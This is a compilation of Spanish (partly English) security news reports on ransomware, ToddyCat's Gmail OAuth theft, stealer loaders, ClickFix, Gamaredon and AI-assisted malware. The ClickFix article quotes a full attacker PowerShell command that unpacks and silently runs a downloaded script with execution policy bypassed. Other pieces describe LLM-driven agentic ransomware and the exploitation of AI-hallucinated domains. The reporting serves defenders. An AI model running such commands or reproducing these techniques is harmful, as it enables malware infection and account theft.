  • Cifre archivos asociados con operaciones comerciales, desarrollo de software, ingeniería, almacenamiento de datos e infraestructura virtual mediante Windows. API de criptografía y entregar una nota de rescate que contenga instrucciones de pago y temporizadores de fecha límite que muestren cuánto tiempo queda antes de que se aumente el monto del rescate.
  • Inhiba la recuperación del sistema finalizando el Servicio de instantáneas de volumen y eliminando las instantáneas.
  • Elimine rastros de artefactos utilizando un subsistema de limpieza antiforense para complicar los esfuerzos de respuesta a incidentes.
  • Interactúa directamente con las estructuras del disco, probablemente en un esfuerzo por dañar la información de la partición, los registros de arranque u otras áreas críticas de la unidad, lo que efectivamente inutiliza el sistema.

«CrownX representó la etapa final de extorsión, pero el daño se extendió mucho más allá del cifrado en sí», dijo la compañía. «Para cuando apareció la nota de rescate, el marco más amplio ya había recopilado credenciales, establecido comunicaciones C2, preparado múltiples caminos para el movimiento lateral y debilitado las opciones de recuperación local».

Otro detalle importante es que Avalon muestra signos de desarrollo asistido por inteligencia artificial (IA), un desarrollo que ha ensamblado múltiples componentes sin tener en cuenta las técnicas sofisticadas o la seguridad operativa, algo que requiere una experiencia significativa para construir.

Los hallazgos son otra señal más de cómo la IA puede reducir la barrera de entrada, haciendo que el desarrollo de malware sea más accesible con poco tiempo y esfuerzo, e incluso permitiendo a actores con poca experiencia técnica y recursos idear herramientas que pueden requerir un gran esfuerzo de desarrollo. En otras palabras, la presencia de una determinada capacidad ya no es un indicador confiable de la sofisticación o madurez operativa de un actor de amenazas.

«La cadena de destrucción ilustra cómo un atractivo comercial familiar puede progresar hacia un marco reutilizable y de múltiples capacidades diseñado para recolectar credenciales, recuperar cargas útiles posteriores completamente en la memoria y organizar múltiples acciones de seguimiento desde un único punto final comprometido», dijo Blackpoint Cyber.

LLM detrás de un ataque de ransomware agente

La divulgación se produce cuando Sysdig detalló lo que dijo fue la primera infección de ransomware agente documentada públicamente impulsada por un modelo de lenguaje grande de principio a fin, mientras reintentaba y ajustaba sus acciones en tiempo real para completar tareas. El actor de amenaza agente (ATA) detrás de la operación recibió el nombre en código JADEPUFFER.

El operador «obtuvo acceso inicial a una instancia de Langflow orientada a Internet a través de CVE-2025-3248 y ejecutó una campaña adaptativa y totalmente automatizada, que finalmente giró hacia el objetivo previsto y ejecutó un manual destructivo de extorsión de bases de datos contra el servidor de bases de datos de producción de la víctima», dijo Michael Clark de Sysdig.

Ciberseguridad

«Las habilidades para ejecutar ransomware se han reducido a lo que cueste ejecutar un agente, y si ese agente se ejecuta con credenciales robadas a través de LLMjacking, el costo para un atacante es cercano a cero».

Malware de IA que utiliza LLM en un ataque sin código

Los hallazgos también siguen al descubrimiento de un malware de inteligencia artificial que combina un bot de Telegram con una API pública de LLM para diseñar un ataque sin código. Una vez lanzado, el implante transmite detalles básicos sobre el sistema comprometido al bot de Telegram del atacante y entra en un bucle de comando y control (C2) que sondea la API del bot cada 5 segundos en busca de nuevos mensajes. Los resultados de la ejecución del comando se extraen utilizando el mismo canal.

La especialidad de este malware es que cada mensaje del operador se reenvía a un punto final público de la API LLM («api.groq[.]com/openai/v1/chat/completions»), que luego traduce las instrucciones en lenguaje natural proporcionadas por el atacante a su comando de shell equivalente. El artefacto fue subido a la plataforma VirusTotal el 11 de marzo de 2026 y hasta la fecha no ha tenido detecciones en todos los motores.

«Este trabajo introduce una capa de traducción LLM que reemplaza la sintaxis del shell con texto sin formato. El atacante escribe instrucciones de texto sin formato en Telegram», Unidad 42 de Palo Alto Networks dicho. «El LLM traduce las instrucciones en comandos de shell. Y la víctima ejecuta los comandos de shell. No se requieren conocimientos de línea de comandos».

El malware Umbrij vinculado a ToddyCat abusa de OAuth para acceder a Gmail a través de la API de Google – CYBERDEFENSA.MX

El actor de amenazas conocido como toddygato se ha atribuido a un nuevo malware llamado Umbrij que está diseñado para obtener acceso subrepticio a la correspondencia de correo electrónico de una víctima a través de la API de Google.

«En esta campaña, los atacantes centraron su atención en las comunicaciones corporativas por correo electrónico alojadas en Gmail, apuntando a comprometer el acceso a través de API», Kaspersky dicho en un informe detallado publicado esta semana. «Debido a que la API de Google se basa en el protocolo OAuth 2.0 para la autorización, las aplicaciones pueden usar un token OAuth para acceder a los recursos de correo electrónico solicitados».

Se dice que el adversario desarrolló Umbrij para adquirir este token y usarlo para conectarse a la consola de administración del navegador en modo sin cabeza a través de un puerto de depuración remota.

Posteriormente, se emitieron una serie de solicitudes para obtener un código de autorización OAuth, que luego se intercambió por un token de acceso para llegar a los recursos de destino a través de la API. La técnica ha recibido el nombre en código. Token de sombra a través de depuración remota (STRD) del proveedor ruso de ciberseguridad.

Lo notable del ataque es que es viable en navegadores basados ​​en Chromium y explota una sesión activa de Gmail. En otras palabras, la idea es iniciar el navegador en modo sin cabezaconéctese a través del puerto de depuración remota para tomar el control y aproveche una sesión de Gmail ya iniciada para obtener acceso a los recursos de la cuenta de Google.

Se han descubierto tres versiones diferentes de Umbrij, incluidas versiones que cuentan con funciones auxiliares para depurar y buscar y seleccionar cuentas de usuario dentro del navegador.

Ciberseguridad

ToddyCat es el nombre asignado a una amenaza persistente avanzada (APT) que tiene un historial de atacar a varias organizaciones en Europa y Asia desde al menos 2020. En noviembre de 2025, Kaspersky detalló el uso por parte del grupo de piratería de una herramienta personalizada denominada TCSectorCopy para acceder a los datos de correo electrónico de Microsoft Outlook que pertenecen a las empresas objetivo.

La compañía de ciberseguridad dijo que descubrió a Umbrij durante lo que describió como una «operación de búsqueda de amenazas», como parte de la cual se utilizó una tarea programada que se hacía pasar por su software («KasperskyEndpointSecurityEDRAvp») para lanzar un archivo firmado digitalmente. El archivo firmado luego empleó Carga lateral de DLL para lanzar Umbrij.

Para realizar esta tarea, se abusó de tres archivos binarios legítimos susceptibles a la carga lateral de DLL:

  • BDSubWiz.exeun componente del Asistente de envío en Bitdefender ConnectAgent
  • VSTestVideoRecorder.exeun componente de la herramienta de grabación de vídeo utilizada para realizar pruebas con Microsoft Visual Studio
  • GoogleDesktop.exeuna aplicación discontinuada de Google Desktop Search que se utiliza para indexar archivos y realizar búsquedas rápidas en una computadora local con Windows

Independientemente del ejecutable utilizado, el resultado final es el mismo: iniciar la DLL Umbrij escrita en .NET y ofuscada con ConfuserEx, un ofuscador de código abierto. La herramienta también se puede invocar junto con parámetros de línea de comandos que especifican a qué navegadores apuntar (Google Chrome o Microsoft Edge), le indican que guarde una captura de pantalla del perfil del usuario como un archivo PDF y proporcionan el nombre de usuario del sistema bajo el cual se ejecutará la herramienta.

Diagrama de flujo de trabajo de Umbrij

Umbrij, una vez iniciado, realiza una serie de acciones preparatorias en un host de Windows comprometido para violar la cuenta de Gmail.

  • Verifique la disponibilidad del puerto que se designará para la depuración del navegador.
  • Recupere el contexto del usuario buscando el proceso «explorer.exe» y duplicando el token del primer proceso que encuentre para conservar todos los privilegios del usuario que ha iniciado sesión. Alternativamente, el usuario El interruptor se puede utilizar junto con la herramienta para especificar el usuario objetivo cuyo token debe duplicarse.
  • Construya la ruta a la carpeta de la aplicación del navegador web dentro del repositorio de datos de la aplicación local del usuario y luego analice el archivo de estado local correspondiente a Chrome o Edge para recopilar información sobre los perfiles de usuario del navegador almacenados.
  • Enumere todos los perfiles y escanéelos en busca de un campo llamado «nombre_usuario» que incluya una dirección de correo electrónico. Vale la pena señalar que la presencia de una dirección de correo electrónico indica que el usuario está autenticado en un servicio de Google.
  • Cree un directorio llamado «BackupFiles» dentro de «%LOCALAPPDATA%\Google\Chrome\» y «%LOCALAPPDATA%\Microsoft\Edge\».
  • Copie los siguientes archivos y carpetas de cada destino. perfil de usuario en ellos: IndexedDB, Almacenamiento local, Red, Datos de inicio de sesión, Datos de inicio de sesión para cuenta, Preferencias, Preferencias seguras y Datos web. En caso de que otros procesos bloqueen estos archivos, la herramienta incluye un mecanismo de copia forzada.
  • Busque en las carpetas «Archivos de programa» y «Archivos de programa (x86)» la carpeta de instalación del navegador Chrome y Edge.
  • Inicie los navegadores en modo sin cabeza utilizando el perfil de usuario copiado en la carpeta «BackupFiles», lo que hace que el navegador aplique todas las cookies del usuario activo, incluida la cuenta de Google que inició sesión, y omita la autenticación.
  • Usar Titiriterouna biblioteca de JavaScript utilizada para controlar los navegadores basados ​​en Chromium a través del protocolo Chrome DevTools, para conectarse al puerto de depuración remota y enviar una solicitud de código de autorización para dirigir el navegador a «accounts.google[.]com/o/oauth2/v2/auth/identifier» URL que contiene un «client_id» que corresponde a un herramienta de migración se utiliza para importar archivos PST locales y datos de cuentas de Microsoft Exchange a una cuenta de Google Workspace. La solicitud HTTP GET también especifica el conjunto de permisos requeridos por la aplicación. Utilice JavaScript para emular eventos de clic del mouse para seleccionar la cuenta de Google adecuada después de navegar a la URL y otorgarle los permisos necesarios, incluido el acceso completo a Gmail, Drive, Contactos, Calendario y Tareas.
  • Redirija la sesión del navegador a una dirección local especificada en la solicitud inicial y extraiga de ella el código de autorización OAuth.
Ciberseguridad

«Umbrij, como la mayoría de las otras herramientas del arsenal de ToddyCat, registra sus acciones en detalle y las guarda en un archivo», dijo Kaspersky. «También guarda el código de autorización recuperado en este archivo de registro, que posteriormente el operador extrae del host comprometido».

«El código de autorización adquirido luego se intercambia por un token de acceso OAuth. Los actores de amenazas usan ese token para conectarse a la cuenta de Gmail a través de la API, comprometiendo así las comunicaciones corporativas por correo electrónico».

Para contrarrestar la amenaza, se recomienda revisar los códigos de autorización otorgados a las aplicaciones navegando a «myaccount.google».[.]com/connections» y luego busque aplicaciones llamadas «Google Workspace Migration for Microsoft Outlook» o «Google Workspace Sync for Microsoft Outlook». Si cualquiera de esas aplicaciones está presente y no se utiliza realmente dentro de la organización, es esencial revocar su acceso para invalidar los tokens de OAuth.

«El grupo ToddyCat APT continúa buscando formas de comprometer las comunicaciones corporativas por correo electrónico», dijo Andrey Gunkin, analista senior de malware de Kaspersky. «Su nueva herramienta, Umbrij, automatiza los intentos de los atacantes de obtener acceso a las cuentas de correo electrónico de la organización. Esta automatización no sólo ayuda a aumentar la escala y la frecuencia de sus ataques sino que también demuestra la fuerte motivación y las habilidades técnicas avanzadas de ToddyCat».

La cadena de malware VEIL#DROP utiliza la plataforma Blogger para ofrecer PureLogs Stealer – CYBERDEFENSA.MX

Los investigadores de ciberseguridad han señalado una nueva cadena de ataques de entrega de malware en varias etapas que utiliza ingeniería social y páginas de Blogger para entregar un ladrón de información llamado PureLogs.

La actividad ha sido nombrada en código. VELO#GOTA por Securonix. Se sospecha que las cargas útiles iniciales se distribuyen mediante phishing o mediante un compromiso de pasoque ocurre cuando un usuario desprevenido llega a un sitio web (legítimo o no) bajo el control del atacante.

«La cadena de infección comienza con un archivo JavaScript con un nombre engañoso que se hace pasar por un documento (por ejemplo, transcript.pdf.js), que se ejecuta a través de Windows Script Host y lanza PowerShell con omisiones de políticas de ejecución habilitadas», dijeron los investigadores Akshay Gaikwad, Shikha Sangwan y Aaron Beardslee en un informe compartido con The Hacker News.

En un nivel alto, el script de PowerShell es responsable de recuperar una carga útil de la siguiente etapa alojada en Blogger («htlwub00klocate.blogspot[.]com»), lo que permite a los atacantes eludir las defensas basadas en la reputación al abusar de la infraestructura confiable de Google como escenario y mezclarse con la actividad web legítima.

Ciberseguridad

La carga útil de PowerShell descargada actúa como un conducto para cargar una página web benigna como Google, creando la impresión de que se abre un documento PDF, mientras que la secuencia de infección avanza silenciosamente en segundo plano, lo que finalmente conduce a la implementación de PureLogs Stealer, un ladrón de información basado en .NET conocido por recopilar una amplia gama de datos confidenciales de hosts comprometidos.

El cargador de PowerShell también intenta garantizar la ejecución sin restricciones de los siguientes comandos de PowerShell, finalizar procesos seleccionados como «wscript.exe» para minimizar el rastro forense, eliminar «transcript.pdf.js» para eliminar evidencia de ejecución y descifrar una carga útil incrustada.

«Después del descifrado XOR exitoso, el cargador pasa a uno de los componentes más evasivos del marco VEIL#DROP: generación dinámica de etapas combinada con mutación en tiempo de ejecución», explicó Securonix. «En lugar de utilizar indicadores estáticos como URL codificadas o patrones de ejecución predecibles, el malware construye dinámicamente la ubicación de la carga útil de la siguiente etapa durante la ejecución».

Esto implica crear un blogspot único.[.]com para cada ejecución insertando un número aleatorio de barras diagonales («https://thehackernews.com/») en la cadena de URL para evitar firmas de URL estáticas, bloqueos basados ​​en indicadores y mecanismos de filtrado basados ​​en URL.

Además, el script decodificado introduce mutación y polimorfismo en tiempo de ejecución al reemplazar los valores de marcador de posición dentro del script con cadenas y valores generados aleatoriamente durante la ejecución. Esta variabilidad está diseñada para anular las firmas de scripts y los hashes de archivos, impidiendo así una detección confiable.

El script reconstruido finalmente se ejecuta completamente en la memoria sin dejar ningún artefacto en el disco. Este componente funciona como un cargador responsable de decodificar y ejecutar el componente principal del malware, que no es más que un ensamblado .NET que se inicia mediante una técnica conocida como carga de código reflectante.

En caso de que los controles de seguridad y otras restricciones ambientales le impidan ejecutar los ensamblados .NET recuperados directamente desde la memoria, el cargador incorpora un método de ejecución alternativo que se basa en archivos binarios firmados por Microsoft, como «regsvcs.exe», «installutil.exe», «msbuild.exe» y «aspnet_compiler.exe», para lograr los mismos objetivos sin llamar la atención.

Ciberseguridad

Debido a que estos binarios son confiables, están firmados por Microsoft y ya están presentes en el sistema, el enfoque de vida de la tierra (LotL) permite a los atacantes hacer que su actividad parezca legítima y pase desapercibida.

«Uno de los aspectos más notables del cargador es que no depende de ningún LOLBin«, señalaron los investigadores. «En cambio, la ejecución sigue un modelo en cascada, probando cada método hasta que uno tiene éxito».

El impacto de una infección de ladrón generalmente va más allá del punto final inicialmente comprometido, ya que los datos recopilados pueden actuar como un trampolín para profundizar en el entorno de destino, establecer persistencia, realizar movimientos laterales e incluso violar su infraestructura de nube.

«La combinación de sitios web comprometidos, enmascaramiento de múltiples extensiones, servicios de nube confiables, cargas útiles ofuscadas por XOR, carga reflexiva de .NET, ejecución sin archivos y abuso de LOLBIN demuestra un esfuerzo deliberado para evadir las soluciones antivirus tradicionales, reducir los artefactos forenses y mantener el sigilo operativo durante todo el ciclo de vida de la infección», afirmó Securonix.

Phantom Squatting utiliza dominios alucinados por IA para phishing y malware – CYBERDEFENSA.MX

Los grandes modelos lingüísticos siguen inventando direcciones web que no existen. Los atacantes comenzaron a comprar esos dominios inventados antes que nadie y luego alojaron páginas de phishing en ellos para captar el tráfico que las herramientas de inteligencia artificial señalan en su dirección.

La Unidad 42 de Palo Alto Networks decide el truco fantasma en cuclillasy su nueva investigación muestra que ya está sucediendo en la naturaleza.

La razón por la que importa es la confianza. Los desarrolladores y asistentes de IA tratan cada vez más los enlaces que un modelo devuelve como reales. Cuando un modelo inventa un dominio que aún no existe, quien lo registre primero hereda toda esa confianza fuera de lugar, sin necesidad de correo electrónico de phishing ni publicidad maliciosa.

Para medir el problema, la Unidad 42 formuló a dos modelos de IA 685.339 preguntas sobre 913 marcas conocidas en tecnología, finanzas, atención médica, gobierno, juegos de azar y otros sectores.

Los modelos produjeron 2,1 millones de enlaces. La inteligencia de amenazas ya marcó 13.229 de ellos como abiertamente maliciosos, lo que significa que la IA estaba repartiendo direcciones conocidas como malas. Aproximadamente 250.000 de los dominios inventados aún no tenían dueño, y cada uno de ellos era un objetivo listo para quien los registre primero.

Cómo funciona la sentadilla fantasma

El ataque funciona porque un dominio nuevo no tiene reputación. Las listas de bloqueo, las fuentes de amenazas y las puntuaciones de reputación necesitan que un sitio se comporte mal durante un tiempo antes de marcarlo.

Ciberseguridad

Un dominio fantasma recién registrado no tiene ese registro, por lo que esos filtros no tienen nada que señalar. Cuando se ponen al día, la víctima ya ha sido enviada al sitio mediante una herramienta en la que confían.

Dos detalles lo empeoran. Los dominios falsos no estaban en los datos de entrenamiento: ambos modelos se enviaron antes de que existieran los sitios maliciosos reales, por lo que las direcciones provienen de los propios patrones de lenguaje de los modelos, no de la memoria. Y esos patrones son consistentes.

A menudo, diferentes modelos inventan el mismo dominio falso para la misma pregunta, lo que hace que sea fácil adivinar el próximo objetivo de un atacante. Aumentar la configuración de «creatividad» de un modelo sólo produjo más dominios inventados. Como lo expresaron los investigadores de la Unidad 42, el vector «explota una propiedad estructural de las arquitecturas LLM que sigue siendo inherentemente imposible de parchear».

Dos casos observados

Dos casos muestran el ciclo completo. El 8 de marzo de 2026, el sistema de la Unidad 42 predijo que los modelos de IA inventarían un dominio parecido al mercado en línea de un servicio postal nacional. Ambos modelos lo generaron en cada ajuste de temperatura, una fuerte señal de que trataron el sitio falso como si fuera un hecho.

Veintitrés días después, el 31 de marzo, un atacante registró ese dominio exacto y creó un kit de phishing llamado Montana Empire. El kit copió el escaparate real en tiempo real. Robó números de tarjetas, datos de transferencias bancarias y datos de identificación nacional.

Un bot de Telegram permite al operador aprobar manualmente las contraseñas de un solo uso de las víctimas. La revelación: los archivos sobrantes del proyecto y los registros de sesiones mostraron que el criminal había creado el kit con un asistente de codificación de IA. El atacante y el defensor llegaron al mismo dominio falso de la misma manera, preguntando a una IA.

En el segundo caso, la Unidad 42 detectó un dominio de servicio postal alucinado 51 días antes de que un atacante lo registrara. Luego, el atacante lo envolvió en un clon de marca con píxeles perfectos, agregó una calificación falsa de 4,8 estrellas y un reclamo de más de dos millones de usuarios, y lo usó para impulsar una aplicación maliciosa de Android.

Otros dominios detectados se hacían pasar por un importante banco de los Emiratos Árabes Unidos del que un atacante ya había estado abusando durante casi un año, un banco europeo y sitios de apuestas deportivas dirigidos a usuarios de Bangladesh.

Un viejo truco con un nuevo objetivo

La sentadilla fantasma es la versión de dominio de cuclillasdonde los atacantes registran los nombres de paquetes de software falsos que inventan las herramientas de codificación de IA. Eso no es hipotético.

un grande Estudio USENIX Los modelos de generación de código encontrados sugieren rutinariamente nombres de paquetes que no existen, y la campaña PhantomRaven convirtió exactamente ese comportamiento en malware oculto en paquetes de 126 npm con más de 86.000 instalaciones.

Ciberseguridad

Apunta a un cambio mayor: los resultados del modelo se están convirtiendo en insumos. Los desarrolladores, agentes y equipos de seguridad actúan sobre enlaces y nombres generados por IA antes de que alguien los verifique, y la IA sigue reduciendo el tiempo que los defensores tienen para reaccionar.

También aterriza en un mundo donde el phishing de suplantación de marca es ahora un servicio pago, con kits como Lucid y Lighthouse que defienden 17.500 dominios falsos contra 316 marcas en 74 países.

que hacer

Debido a que los modelos alucinan constantemente, los equipos de seguridad pueden mapear qué dominios falsos es probable que produzca un modelo y observar a cualquiera que los registre, a menudo con semanas de advertencia. Para todos los demás, los pasos prácticos son sencillos:

  • No confíes en un enlace sólo porque lo dio una IA. Confirme que el dominio sea el oficial real antes de escribir una contraseña o pegarla en el código.
  • Evite que los agentes de IA abran o descarguen automáticamente enlaces generados por modelos sin verificación. Un agente no tiene instinto para dudar como lo haría una persona.
  • Trate todo lo que escriba un modelo como un borrador no verificado, no como una autoridad.

Esa ventana está abierta y recompensa a quien se mueve primero. La verdadera pregunta, tal como la plantea la Unidad 42, es simplemente si los defensores o los atacantes llegan antes a estos dominios.

Un investigador analiza 3000 cargas útiles de Live ClickFix, exponiendo la entrega de malware impulsada por API – CYBERDEFENSA.MX

Hacer clic en arreglarel truco que engaña a las personas para que ejecuten malware manualmente, se ha convertido silenciosamente en un back office.

Una nueva investigación muestra que los comandos maliciosos detrás de sus páginas falsas de «demuestra que eres humano» ahora son distribuidos por servidores basados ​​en API que le dan a cada visitante el mismo malware con un disfraz diferente. La misma investigación también reveló un nuevo método de entrega creado para eludir el escaneo de scripts de Windows.

El investigador de seguridad Bert-Jan Pals desmontó varias plataformas ClickFix y analizó aproximadamente 3000 cargas útiles de campañas en vivo. Presentó los hallazgos en naranjacon a principios de junio y publicó los detalles el 30 de junio.

ClickFix es simple por diseño. Una página con trampa explosiva muestra un CAPTCHA falso o un error, JavaScript oculto coloca un comando en su portapapeles y la página le indica que presione una combinación de teclas, pegue y presione Enter. Usted mismo ejecuta el malware.

Por lo general, no hay ningún exploit en el primer paso y, a menudo, no hay ningún archivo que los antivirus tradicionales puedan marcar, por lo que los controles convencionales de correo electrónico y terminales tienen menos que detectar.

Funciona lo suficientemente bien como para que ESET mida un 517% salto desde finales de 2024 hasta la primera mitad de 2025, y Microsoft Informe de defensa digital 2025 lo sitúa en el 47% de los casos de acceso inicial vistos por su equipo de Defender Experts.

Ciberseguridad

La técnica ahora tiene su propia entrada en MITRE ATT&CK, T1204.004.

Cargas útiles hechas a pedido

La parte nueva es cómo se producen las cargas útiles. Pals descubrió que las páginas extraían sus comandos de servidores backend que funcionan como un servicio bajo demanda: aceptan solicitudes, verifican un token de acceso, registran a la persona que llama y devuelven un comando recién codificado cada vez.

Le pidió a un servidor 100 cargas útiles y obtuvo 100 diferentes, envueltas en una mezcla rotativa de Base64, AES, TripleDES, Rijndael y Deflate. Quite el envoltorio y, al menos por ahora, todos se descomprimirán en el mismo script, que se ejecuta en la memoria a través de un espacio de ejecución de PowerShell.

El disfraz es desechable; el malware que contiene no lo es, aunque Pals advierte que la carga principal probablemente comenzará a cambiar según la víctima en poco tiempo. La misma plataforma sirve señuelos en 25 idiomas y hace coincidir el comando con el sistema operativo del visitante, con versiones de macOS ejecutándose junto con Windows.

La etiqueta «como servicio» no es sólo marca. ESET ha rastreado a delincuentes que venden constructores ClickFix ya preparados a otros atacantes. Pals encontró una comercialización paralela un nivel más profundo, en cómo cada carga útil se produce a pedido.

Una forma más silenciosa de entrar: el método de la carpeta de Descargas

El segundo hallazgo es una respuesta directa a los defensores que miran el portapapeles. En lugar de copiar un comando malicioso, las páginas más nuevas copian uno que parece inofensivo.

La página descarga silenciosamente un archivo a la carpeta Descargas y el portapapeles recibe una breve línea de «orquestador» que mueve ese archivo, lo descomprime y ejecuta el script que contiene. Debido a que la línea pegada es solo ese orquestador y no la carga útil en sí, está diseñada para pasar por alto AMSI, la característica de Windows que permite que el antivirus analice los scripts antes de que se ejecuten. El código incorrecto se encuentra en el archivo descargado, a un lado. La línea del portapapeles observada tenía este aspecto:

powershell -C «$t=$env:TMP;Move-Item \»$HOME\Downloads\tmp.zip\» \»$t\7947.zip\»;tar -xf \»$t\7947.zip\» -C \»$t\»;conhost –headless powershell -ExecutionPolicy Bypass -File \»$t\tmp.ps1\» # \»* No soy un robot reCAPTCHA ID de verificación: 7947 *\»»

La ejecución también se ha vuelto sigilosa. El señuelo original de 2024 decía a la gente que presionara Windows+R y lo pegara en el cuadro Ejecutar. Una versión más nueva, común hasta 2025 y 2026, los dirige a Windows+X y a la Terminal de Windows. El uso de la terminal parece más común y, a diferencia del cuadro Ejecutar, no deja rastro en la clave de registro RunMRU que los investigadores normalmente verifican.

ClickFix dejó de ser una herramienta exclusiva para delincuentes hace un tiempo. Punto de prueba vincularon a grupos respaldados por estados de Rusia, Irán y Corea del Norte, incluidos APT28, MuddyWater y Kimsuky, a campañas que colocaron a ClickFix en sus cadenas de infección existentes, y equipos norcoreanos crearon una versión de «entrevista ClickFake» de trabajo falso para afectar a los trabajadores de criptomonedas.

Ciberseguridad

El truco ha generado parientes nombrados como FileFix y DescargarReparar que se apoyan en otras herramientas confiables de Windows. La escala tampoco es teórica: la empresa de seguridad Expel encontró una ola de ClearFake que probablemente infectó hasta 147.521 sistemas desde finales de agosto de 2025.

Lo que los defensores deberían mirar

La lección defensiva no ha cambiado. Los detalles tienen. Las señales confiables son cadenas de procesos, no texto del portapapeles: explorador.exe o WindowsTerminal.exe lanzamiento powershell.exe, cmd.exeo msiexec.exe y comunicarse con la red inmediatamente después.

Esos fueron los lanzadores más comunes en los datos de Pals, con PowerShell y cmd empatados en aproximadamente un 39% cada uno y msiexec muy cerca con un 34%.

El EDR de comportamiento, las reglas de control de aplicaciones que limitan qué programas pueden llamar a intérpretes de secuencias de comandos y la guía sencilla para el usuario («nunca pegue un comando que le dijeron que ejecutara en el cuadro Ejecutar o en una terminal») todavía se mantienen. El método de la carpeta de Descargas agrega una cosa más para buscar: una frase de apariencia inocente que toca la carpeta de Descargas y luego genera un PowerShell oculto.

Pals también enumeró tres servidores de carga útil vistos durante la investigación:

  • estrella cómica[.]latitud
  • bebé[.]cfd
  • merkantalolol[.]Asia

Una conexión con uno de estos no prueba infección. Significa que lo más probable es que un comando haya sido colocado en el portapapeles de alguien.

El veredicto de Pals sobre esta técnica es contundente: «ClickFix llegó para quedarse». El patrón en su investigación es que ClickFix cambia en el momento en que los defensores se ponen al día, y el paso de scripts únicos a servidores de carga útil bajo demanda es lo que hace que esa adaptación sea barata de repetir.

Lo siguiente que vale la pena observar es si el malware en sí, y no sólo su envoltorio, comienza a cambiar de una víctima a otra.

Gamaredon amplía los ataques en Ucrania con nuevo malware y abuso de servicios en la nube – CYBERDEFENSA.MX

Un grupo ruso de amenazas persistentes avanzadas (APT) ha seguido evolucionando y ampliando su arsenal de malware como parte de su ataque cibernético en curso contra Ucrania a lo largo de 2025.

La empresa eslovaca de ciberseguridad ESET dijo que observó 35 campañas distintas de phishing lanzadas montadas por Gamaredon contra nuevos objetivos, y la mayoría de ellas tuvieron lugar en la segunda mitad del año. Los objetivos principales de estos esfuerzos incluyen las instituciones gubernamentales y militares de Ucrania.

«A lo largo de 2025, Gamaredon se mantuvo muy activo y centrado únicamente en Ucrania», ESET dicho. «El objetivo final del grupo sigue siendo la exfiltración de información sensible y otros datos críticos que podrían ser explotados para apoyar los intereses rusos en la guerra en curso en Ucrania».

Las campañas de phishing lanzan uso de archivos adjuntos o archivos XHTML que emplean contrabando de HTML para entregar descargadores HTA maliciosos que son responsables de soltar cargas útiles adicionales, como PteroSand. Algunos de los ataques también han utilizado como arma una falla ahora parcheada en WinRAR (CVE-2025-8088) como una forma de colocar el descargador HTA malicioso en la carpeta de inicio de Windows de la víctima.

Esto, a su vez, hace que el descargador se ejecute automáticamente en el siguiente inicio de sesión, añadiendo así un mecanismo de persistencia a la cadena de compromiso. Se sabe que los ataques de Gamaredon se basan en armamentistas como PteroLNK y PteroPaste para facilitar el movimiento lateral al infectar unidades USB y unidades de red con archivos LNK maliciosos que, cuando los abre un usuario desprevenido, activan la recuperación del malware de descarga.

Ciberseguridad

También se utiliza PteroSetup, un armamento de Visual Basic Script (VBScript) más antiguo detectado por primera vez en enero de 2021 y que probablemente se supone que estará descontinuado. La herramienta escanea unidades de red USB y asignadas en busca de archivos de instalación legítimos y, si los encuentra, los reemplaza con archivos autoextraíbles (SFX) 7z que contienen el instalador original y un descargador de VBScript malicioso.

«En 2025, la dependencia del grupo de servicios de terceros creció significativamente, y los servicios de túneles y las plataformas de trabajadores sin servidor se convirtieron en una parte cada vez más importante de cómo ocultaba su verdadera infraestructura de back-end», dijo ESET.

Los ataques también se caracterizan por la introducción de seis nuevas herramientas maliciosas de PowerShell, que amplían su arsenal de malware personalizado.

  • pterodee y PteroCache para buscar y ejecutar cargas útiles de PowerShell en la memoria
  • PteroDum para buscar y ejecutar cargas útiles de VBScript en la memoria
  • pteroimpar para recuperar una única carga útil de PowerShell utilizando la API Telegra.ph y probablemente utilizada en campañas en las que los actores de Gamaredon colaboraron con Turla
  • PteroEfigie para recuperar el servidor de comando y control (C2) utilizando el servicio de almacenamiento en la nube GoFile
  • Pteropastapara convertir unidades USB en armas y descargar cargas útiles de PowerShell adicionales a través de un canal cifrado

«Si bien el grupo tomó una breve pausa operativa en enero de 2025, Gamaredon dedicó gran parte de su esfuerzo en la primera mitad de ese año a desarrollar e implementar nuevas herramientas», dijo el investigador de ESET Zoltán Rusnák.

«Se realizaron muchas actualizaciones en el período previo a los principales días festivos en Rusia y Crimea. En particular, no se observaron actualizaciones durante o inmediatamente después de estos días festivos, lo que sugiere además que los operadores de Gamaredon probablemente sean empleados afiliados al gobierno».

Ciberseguridad

Otro aspecto digno de mención de la campaña del actor de amenazas gira en torno al uso de una amplia gama de servicios legítimos como canales de exfiltración de datos y resolutores de entrega muerta para obtener detalles del servidor C2 y apuntar el malware a la infraestructura ya oculta detrás de túneles o trabajadores sin servidor. Estos incluyen –

  • Telégrafo
  • Teletipo
  • Rentry.co
  • Escribir.como
  • buzón
  • Ir a archivo
  • Comunidad DEV (dev.to)
  • Mastodonte
  • lesma
  • Nopaste.net
  • Pegar.ee
  • wasabi
  • Tebi
  • Intercolo
  • buzón

«Como en años anteriores, el grupo compensó la relativa simplicidad de su malware con persistencia, actualizaciones frecuentes y un abuso cada vez más creativo de servicios legítimos en línea», dijo ESET. «Gamaredon amplió aún más su uso de puntos muertos, túneles, trabajadores, DNS dinámico y almacenamiento en la nube, haciendo que sus operaciones sean más flexibles y más difíciles de interrumpir».

Linux Kernel Flaws, AI Malware Tricks, Turla Backdoor, Infostealers and More – CYBERDEFENSA.MX

This week was a reminder that attackers do not always need big tricks. One small mistake, one old access path, one missed patch, and suddenly the door is open.

The noise is not all noise, either. Forums are talking, researchers are finding easy cracks, and defenders have more cleanup waiting.

Here’s the full Monday recap.

⚡ Threat of the Week

New DirtyClone Linux Kernel Flaw Lets Local Users Gain Root via Cloned Packets — Cybersecurity researchers detailed a new variant of the Dirty Frag Linux kernel flaw. Called DirtyClone (aka CVE-2026-43503), it allows local users to gain root privileges via cloned packets. The exploit works successfully on Debian, Ubuntu, and Fedora systems with default namespace configurations. «Any local user on a server or device running a vulnerable kernel who holds or can acquire the CAP_NET_ADMIN capability (frequently obtainable via unprivileged user namespaces) [is exploitable],» JFrog said. «This poses the highest risk to multi-tenant cloud environments, Kubernetes clusters, and containerized workloads where user namespaces are enabled, or privileged containers are deployed.»

🔔 Top News

  • Critical PTC Windchill PDMlink and PTC FlexPLM Flaw Exploited — A critical remote code execution vulnerability impacting PTC Windchill PDMlink and PTC FlexPLM enterprise Product Data Management (PDM) and Product Lifecycle Management (PLM) software has come under active exploitation in the wild to deploy JSP web shells on susceptible systems. The vulnerability, tracked as CVE-2026-12569, is a case of improper input validation that could allow an attacker to execute arbitrary code by sending a malicious request to the network. Patches for the vulnerability have been released.
